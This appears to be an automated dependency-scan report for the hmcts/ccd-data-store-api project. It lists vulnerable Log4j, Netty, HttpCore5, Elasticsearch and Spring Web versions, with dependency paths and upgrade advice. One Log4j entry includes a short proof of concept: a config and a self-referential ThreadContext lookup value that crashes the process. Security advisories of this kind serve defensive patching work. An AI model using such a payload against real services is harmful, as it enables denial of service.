  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api io.searchbox:jest@6.3.1 org.elasticsearch:elasticsearch@9.2.4 org.apache.logging.log4j:log4j-core@2.7
    Remediation: Upgrade to io.searchbox:jest@6.3.1.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api io.searchbox:jest@6.3.1 io.searchbox:jest-common@6.3.1 org.elasticsearch:elasticsearch@9.2.4 org.apache.logging.log4j:log4j-core@2.7
    Remediation: Upgrade to io.searchbox:jest@6.3.1.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api io.searchbox:jest@6.3.1 org.elasticsearch.test:framework@6.3.1 org.elasticsearch:elasticsearch@9.2.4 org.apache.logging.log4j:log4j-core@2.7
    Remediation: Upgrade to io.searchbox:jest@6.3.1.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api io.searchbox:jest@6.3.1 org.codelibs.elasticsearch.module:lang-painless@6.3.1 org.codelibs.elasticsearch.module:scripting-painless-spi@6.3.1 org.elasticsearch:elasticsearch@9.2.4 org.apache.logging.log4j:log4j-core@2.7

Overview

org.apache.logging.log4j:log4j-core is a logging library for Java.

Affected versions of this package are vulnerable to Improper Encoding or Escaping of Output in the Log4j1XmlLayout plugin. An attacker can cause log events to be silently lost or downstream log processing systems to drop or fail to index affected records by introducing XML 1.0 forbidden characters into log messages, resulting in malformed XML output that conforming XML parsers reject with a fatal error.

Remediation

A fix was pushed into the master branch but not yet published.

References

high severity

Denial of Service (DoS)

  • Vulnerable module: io.netty:netty-codec
  • Introduced through: io.searchbox:jest@6.3.1

Detailed paths

  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api io.searchbox:jest@6.3.1 org.elasticsearch.plugin:transport-netty4-client@6.3.1 io.netty:netty-codec@4.1.16.Final
    Remediation: Upgrade to io.searchbox:jest@6.3.1.

Overview

io.netty:netty-codec is an event-driven asynchronous network application framework.

Affected versions of this package are vulnerable to Denial of Service (DoS). SnappyFrameDecoder doesn't restrict chunk length any mad buffer skippable chunks in an unnecessary way, leading to excessive memory usage. This vulnerability can be triggered by supplying malicious input that decompresses to a very big size (via a network stream or a file), or by sending a huge skippable chunk.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

  • High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

  • Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade io.netty:netty-codec to version 4.1.68.Final or higher.

References

high severity

Denial of Service (DoS)

  • Vulnerable module: io.netty:netty-codec
  • Introduced through: io.searchbox:jest@6.3.1

Detailed paths

  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api io.searchbox:jest@6.3.1 org.elasticsearch.plugin:transport-netty4-client@6.3.1 io.netty:netty-codec@4.1.16.Final
    Remediation: Upgrade to io.searchbox:jest@6.3.1.

Overview

io.netty:netty-codec is an event-driven asynchronous network application framework.

Affected versions of this package are vulnerable to Denial of Service (DoS). Bzip2Decoder doesn't allow setting size restrictions for decompressed data. An attacker can exploit this by providing a compressed file that, when decompressed, triggers an out-of-memory exception.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

  • High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

  • Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade io.netty:netty-codec to version 4.1.68.Final or higher.

References

high severity

HTTP Request Smuggling

  • Vulnerable module: io.netty:netty-codec-http
  • Introduced through: io.searchbox:jest@6.3.1

Detailed paths

  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api io.searchbox:jest@6.3.1 org.elasticsearch.plugin:transport-netty4-client@6.3.1 io.netty:netty-codec-http@4.1.16.Final
    Remediation: Upgrade to io.searchbox:jest@6.3.1.

Overview

io.netty:netty-codec-http is a network application framework for rapid development of maintainable high performance protocol servers & clients.

Affected versions of this package are vulnerable to HTTP Request Smuggling due to the package mishandling Transfer-Encoding whitespace (such as a [space]Transfer-Encoding:chunked line) and a later Content-Length header when using HTTP/1.1. This issue exists because of an incomplete fix for CVE-2019-16869.

NOTE: This vulnerability has also been identified as: CVE-2019-20445

Remediation

Upgrade io.netty:netty-codec-http to version 4.1.44.Final or higher.

References

high severity

HTTP Request Smuggling

  • Vulnerable module: io.netty:netty-codec-http
  • Introduced through: io.searchbox:jest@6.3.1

Detailed paths

  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api io.searchbox:jest@6.3.1 org.elasticsearch.plugin:transport-netty4-client@6.3.1 io.netty:netty-codec-http@4.1.16.Final
    Remediation: Upgrade to io.searchbox:jest@6.3.1.

Overview

io.netty:netty-codec-http is a network application framework for rapid development of maintainable high performance protocol servers & clients.

Affected versions of this package are vulnerable to HTTP Request Smuggling. It allows an HTTP header that lacks a colon, which might be interpreted as a separate header with an incorrect syntax or as an "invalid fold."

Remediation

Upgrade io.netty:netty-codec-http to version 4.1.44.Final or higher.

References

high severity

HTTP Request Smuggling

  • Vulnerable module: io.netty:netty-codec-http
  • Introduced through: io.searchbox:jest@6.3.1

Detailed paths

  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api io.searchbox:jest@6.3.1 org.elasticsearch.plugin:transport-netty4-client@6.3.1 io.netty:netty-codec-http@4.1.16.Final
    Remediation: Upgrade to io.searchbox:jest@6.3.1.

Overview

io.netty:netty-codec-http is a network application framework for rapid development of maintainable high performance protocol servers & clients.

Affected versions of this package are vulnerable to HTTP Request Smuggling due to the package mishandling Transfer-Encoding whitespace (such as a [space]Transfer-Encoding:chunked line) and a later Content-Length header when using HTTP/1.1. This issue exists because of an incomplete fix for CVE-2019-16869.

NOTE: This vulnerability has also been identified as: CVE-2020-7238

Remediation

Upgrade io.netty:netty-codec-http to version 4.1.44.Final or higher.

References

high severity

Denial of Service (DoS)

  • Vulnerable module: org.apache.logging.log4j:log4j-core
  • Introduced through: org.elasticsearch:elasticsearch@9.2.4 and io.searchbox:jest@6.3.1

Detailed paths

  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.elasticsearch:elasticsearch@9.2.4 org.apache.logging.log4j:log4j-core@2.7
    Remediation: Upgrade to org.elasticsearch:elasticsearch@9.2.4.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api io.searchbox:jest@6.3.1 org.apache.logging.log4j:log4j-core@2.7
    Remediation: Upgrade to io.searchbox:jest@6.3.1.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api io.searchbox:jest@6.3.1 org.elasticsearch:elasticsearch@9.2.4 org.apache.logging.log4j:log4j-core@2.7
    Remediation: Upgrade to io.searchbox:jest@6.3.1.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api io.searchbox:jest@6.3.1 io.searchbox:jest-common@6.3.1 org.elasticsearch:elasticsearch@9.2.4 org.apache.logging.log4j:log4j-core@2.7
    Remediation: Upgrade to io.searchbox:jest@6.3.1.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api io.searchbox:jest@6.3.1 org.elasticsearch.test:framework@6.3.1 org.elasticsearch:elasticsearch@9.2.4 org.apache.logging.log4j:log4j-core@2.7
    Remediation: Upgrade to io.searchbox:jest@6.3.1.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api io.searchbox:jest@6.3.1 org.codelibs.elasticsearch.module:lang-painless@6.3.1 org.codelibs.elasticsearch.module:scripting-painless-spi@6.3.1 org.elasticsearch:elasticsearch@9.2.4 org.apache.logging.log4j:log4j-core@2.7

Overview

org.apache.logging.log4j:log4j-core is a logging library for Java.

Affected versions of this package are vulnerable to Denial of Service (DoS). Does not protect against uncontrolled recursion from self-referential lookups.

When the logging configuration uses a non-default Pattern Layout with a Context Lookup (for example, $${ctx:loginId}), attackers with control over Thread Context Map (MDC) input data can craft malicious input data that contains a recursive lookup, resulting in a StackOverflowError that will terminate the process.

PoC

In log4j.properties:

appender.console.type = Console
appender.console.name = console
appender.console.layout.type = PatternLayout
appender.console.layout.pattern = !${ctx:test}! %m%n
rootLogger.level = ALL
rootLogger.appenderRef.file.ref = console

In Main.java:

ThreadContext.put("test", "${::-${ctx:test}}");
logger.error("boom"); // Will not be logged

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

  • High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

  • Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade org.apache.logging.log4j:log4j-core to version 2.3.1, 2.12.3, 2.17.0 or higher.

References

high severity
new

Allocation of Resources Without Limits or Throttling

  • Vulnerable module: org.apache.httpcomponents.core5:httpcore5-h2
  • Introduced through: org.apache.httpcomponents.client5:httpclient5@5.6.1 and co.elastic.clients:elasticsearch-java@9.2.4

Detailed paths

  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.apache.httpcomponents.client5:httpclient5@5.6.1 org.apache.httpcomponents.core5:httpcore5-h2@5.4
    Remediation: Upgrade to org.apache.httpcomponents.client5:httpclient5@5.6.2.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api co.elastic.clients:elasticsearch-java@9.2.4 org.apache.httpcomponents.client5:httpclient5@5.6.1 org.apache.httpcomponents.core5:httpcore5-h2@5.4
    Remediation: Upgrade to co.elastic.clients:elasticsearch-java@9.2.5.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api co.elastic.clients:elasticsearch-java@9.2.4 co.elastic.clients:elasticsearch-rest5-client@9.2.4 org.apache.httpcomponents.client5:httpclient5@5.6.1 org.apache.httpcomponents.core5:httpcore5-h2@5.4

Overview

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling due to the lack of enforced limits in the HPackDecoder process. An attacker can exhaust system memory by sending oversized compressed header blocks before the HTTP/2 SETTINGS acknowledgement applies the configured header list size limit.

Remediation

Upgrade org.apache.httpcomponents.core5:httpcore5-h2 to version 5.4.2, 5.5-beta1 or higher.

References

high severity
new

Allocation of Resources Without Limits or Throttling

  • Vulnerable module: org.apache.httpcomponents.core5:httpcore5-h2
  • Introduced through: org.apache.httpcomponents.client5:httpclient5@5.6.1 and co.elastic.clients:elasticsearch-java@9.2.4

Detailed paths

  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.apache.httpcomponents.client5:httpclient5@5.6.1 org.apache.httpcomponents.core5:httpcore5-h2@5.4
    Remediation: Upgrade to org.apache.httpcomponents.client5:httpclient5@5.6.2.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api co.elastic.clients:elasticsearch-java@9.2.4 org.apache.httpcomponents.client5:httpclient5@5.6.1 org.apache.httpcomponents.core5:httpcore5-h2@5.4
    Remediation: Upgrade to co.elastic.clients:elasticsearch-java@9.2.5.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api co.elastic.clients:elasticsearch-java@9.2.4 co.elastic.clients:elasticsearch-rest5-client@9.2.4 org.apache.httpcomponents.client5:httpclient5@5.6.1 org.apache.httpcomponents.core5:httpcore5-h2@5.4

Overview

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling via the HTTP/1.1 message parsing process. An attacker can exhaust system memory by sending messages with an excessive number of headers or excessively long headers.

Remediation

Upgrade org.apache.httpcomponents.core5:httpcore5-h2 to version 5.4.2, 5.5-beta1 or higher.

References

high severity
new

Uncontrolled Recursion

  • Vulnerable module: org.elasticsearch:elasticsearch
  • Introduced through: org.elasticsearch:elasticsearch@9.2.4 and io.searchbox:jest@6.3.1

Detailed paths

  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.elasticsearch:elasticsearch@9.2.4
    Remediation: Upgrade to org.elasticsearch:elasticsearch@9.3.6.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api io.searchbox:jest@6.3.1 org.elasticsearch:elasticsearch@9.2.4
    Remediation: Upgrade to io.searchbox:jest@6.3.1.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api io.searchbox:jest@6.3.1 io.searchbox:jest-common@6.3.1 org.elasticsearch:elasticsearch@9.2.4
    Remediation: Upgrade to io.searchbox:jest@6.3.1.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api io.searchbox:jest@6.3.1 org.elasticsearch.test:framework@6.3.1 org.elasticsearch:elasticsearch@9.2.4
    Remediation: Upgrade to io.searchbox:jest@6.3.1.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api io.searchbox:jest@6.3.1 org.codelibs.elasticsearch.module:lang-painless@6.3.1 org.codelibs.elasticsearch.module:scripting-painless-spi@6.3.1 org.elasticsearch:elasticsearch@9.2.4

Overview

org.elasticsearch:elasticsearch is a Distributed, RESTful Search Engine.

Affected versions of this package are vulnerable to Uncontrolled Recursion in the query processing. An authenticated attacker can submit a specially crafted query that causes excessive resource consumption during processing, which may render the affected node unavailable.

Remediation

Upgrade org.elasticsearch:elasticsearch to version 8.19.17, 9.3.6, 9.4.3 or higher.

References

high severity

Denial of Service (DoS)

  • Vulnerable module: org.elasticsearch.plugin:lang-mustache-client
  • Introduced through: io.searchbox:jest@6.3.1

Detailed paths

  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api io.searchbox:jest@6.3.1 org.elasticsearch.plugin:lang-mustache-client@6.3.1
    Remediation: Upgrade to io.searchbox:jest@6.3.1.

Overview

Affected versions of this package are vulnerable to Denial of Service (DoS) via specifically crafted search templates with Mustache functions. An attacker can cause the Elasticsearch node to crash by sending malicious search templates.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

  • High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

  • Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade org.elasticsearch.plugin:lang-mustache-client to version 7.17.25 or higher.

References

high severity

Incomplete Cleanup

  • Vulnerable module: org.springframework:spring-web
  • Introduced through: io.github.openfeign.form:feign-form-spring@3.8.0, org.springframework.security:spring-security-web@7.1.0 and others

Detailed paths

  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api io.github.openfeign.form:feign-form-spring@3.8.0 org.springframework:spring-web@5.1.5.RELEASE
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.security:spring-security-web@7.1.0 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.security:spring-security-web@7.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.security:spring-security-oauth2-core@7.1.0 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.security:spring-security-oauth2-core@7.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.cloud:spring-cloud-starter-openfeign@5.0.2 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.cloud:spring-cloud-starter-openfeign@5.0.2.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.hateoas:spring-hateoas@3.1.1 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.hateoas:spring-hateoas@3.1.1.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.security:spring-security-oauth2-resource-server@7.1.0 org.springframework.security:spring-security-web@7.1.0 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.security:spring-security-oauth2-resource-server@7.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.security:spring-security-oauth2-client@7.1.0 org.springframework.security:spring-security-web@7.1.0 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.security:spring-security-oauth2-client@7.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.security:spring-security-oauth2-jose@7.1.0 org.springframework.security:spring-security-oauth2-core@7.1.0 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.security:spring-security-oauth2-jose@7.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.security:spring-security-oauth2-resource-server@7.1.0 org.springframework.security:spring-security-oauth2-core@7.1.0 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.security:spring-security-oauth2-resource-server@7.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.security:spring-security-oauth2-client@7.1.0 org.springframework.security:spring-security-oauth2-core@7.1.0 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.security:spring-security-oauth2-client@7.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-web@4.1.0 org.springframework.boot:spring-boot-http-converter@4.1.0 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-web@4.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-web@4.1.0 org.springframework.boot:spring-boot-webmvc@4.1.0 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-web@4.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springdoc:springdoc-openapi-starter-webmvc-ui@2.8.17 org.springdoc:springdoc-openapi-starter-webmvc-api@2.8.17 org.springframework:spring-webmvc@7.0.8 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springdoc:springdoc-openapi-starter-webmvc-ui@3.0.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-web@4.1.0 org.springframework.boot:spring-boot-webmvc@4.1.0 org.springframework:spring-webmvc@7.0.8 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-web@4.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-web@4.1.0 org.springframework.boot:spring-boot-webmvc@4.1.0 org.springframework.boot:spring-boot-http-converter@4.1.0 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-web@4.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-web@4.1.0 org.springframework.boot:spring-boot-webmvc@4.1.0 org.springframework.boot:spring-boot-servlet@4.1.0 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-web@4.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.cloud:spring-cloud-starter-openfeign@5.0.2 org.springframework.cloud:spring-cloud-openfeign-core@5.0.2 io.github.openfeign:feign-form-spring@13.6.1 org.springframework:spring-web@5.1.5.RELEASE
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.1.0 org.springframework.boot:spring-boot-security-oauth2-resource-server@4.1.0 org.springframework.boot:spring-boot-security@4.1.0 org.springframework.security:spring-security-web@7.1.0 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.1.0 org.springframework.boot:spring-boot-starter-security@4.1.0 org.springframework.boot:spring-boot-security@4.1.0 org.springframework.security:spring-security-web@7.1.0 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.1.0 org.springframework.boot:spring-boot-security-oauth2-resource-server@4.1.0 org.springframework.security:spring-security-oauth2-resource-server@7.1.0 org.springframework.security:spring-security-web@7.1.0 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.1.0 org.springframework.boot:spring-boot-security-oauth2-resource-server@4.1.0 org.springframework.security:spring-security-oauth2-jose@7.1.0 org.springframework.security:spring-security-oauth2-core@7.1.0 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.1.0 org.springframework.boot:spring-boot-security-oauth2-resource-server@4.1.0 org.springframework.security:spring-security-oauth2-resource-server@7.1.0 org.springframework.security:spring-security-oauth2-core@7.1.0 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-web@4.1.0 org.springframework.boot:spring-boot-starter-tomcat@4.1.0 org.springframework.boot:spring-boot-tomcat@4.1.0 org.springframework.boot:spring-boot-web-server@4.1.0 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-web@4.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-web@4.1.0 org.springframework.boot:spring-boot-starter-tomcat@4.1.0 org.springframework.boot:spring-boot-starter-tomcat-runtime@4.1.0 org.springframework.boot:spring-boot-web-server@4.1.0 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-web@4.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-web@4.1.0 org.springframework.boot:spring-boot-starter-tomcat@4.1.0 org.springframework.boot:spring-boot-starter-tomcat-runtime@4.1.0 org.springframework.boot:spring-boot-tomcat@4.1.0 org.springframework.boot:spring-boot-web-server@4.1.0 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-web@4.1.0.

Overview

org.springframework:spring-web is a package that provides a comprehensive programming and configuration model for modern Java-based enterprise applications - on any kind of deployment platform.

Affected versions of this package are vulnerable to Incomplete Cleanup via multipart request handling in WebFlux. An attacker can exhaust disk space by sending multipart requests with large parts that trigger creation of temporary files, which under certain conditions are not deleted after the request completes, leading to accumulation of temp files and denial of service.

Remediation

Upgrade org.springframework:spring-web to version 6.2.18, 7.0.7 or higher.

References

high severity

Open Redirect

  • Vulnerable module: org.springframework:spring-web
  • Introduced through: io.github.openfeign.form:feign-form-spring@3.8.0, org.springframework.security:spring-security-web@7.1.0 and others

Detailed paths

  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api io.github.openfeign.form:feign-form-spring@3.8.0 org.springframework:spring-web@5.1.5.RELEASE
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.security:spring-security-web@7.1.0 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.security:spring-security-web@7.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.security:spring-security-oauth2-core@7.1.0 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.security:spring-security-oauth2-core@7.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.cloud:spring-cloud-starter-openfeign@5.0.2 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.cloud:spring-cloud-starter-openfeign@5.0.2.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.hateoas:spring-hateoas@3.1.1 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.hateoas:spring-hateoas@3.1.1.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.security:spring-security-oauth2-resource-server@7.1.0 org.springframework.security:spring-security-web@7.1.0 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.security:spring-security-oauth2-resource-server@7.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.security:spring-security-oauth2-client@7.1.0 org.springframework.security:spring-security-web@7.1.0 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.security:spring-security-oauth2-client@7.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.security:spring-security-oauth2-jose@7.1.0 org.springframework.security:spring-security-oauth2-core@7.1.0 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.security:spring-security-oauth2-jose@7.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.security:spring-security-oauth2-resource-server@7.1.0 org.springframework.security:spring-security-oauth2-core@7.1.0 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.security:spring-security-oauth2-resource-server@7.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.security:spring-security-oauth2-client@7.1.0 org.springframework.security:spring-security-oauth2-core@7.1.0 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.security:spring-security-oauth2-client@7.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-web@4.1.0 org.springframework.boot:spring-boot-http-converter@4.1.0 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-web@4.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-web@4.1.0 org.springframework.boot:spring-boot-webmvc@4.1.0 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-web@4.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springdoc:springdoc-openapi-starter-webmvc-ui@2.8.17 org.springdoc:springdoc-openapi-starter-webmvc-api@2.8.17 org.springframework:spring-webmvc@7.0.8 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springdoc:springdoc-openapi-starter-webmvc-ui@3.0.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-web@4.1.0 org.springframework.boot:spring-boot-webmvc@4.1.0 org.springframework:spring-webmvc@7.0.8 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-web@4.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-web@4.1.0 org.springframework.boot:spring-boot-webmvc@4.1.0 org.springframework.boot:spring-boot-http-converter@4.1.0 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-web@4.1.0.
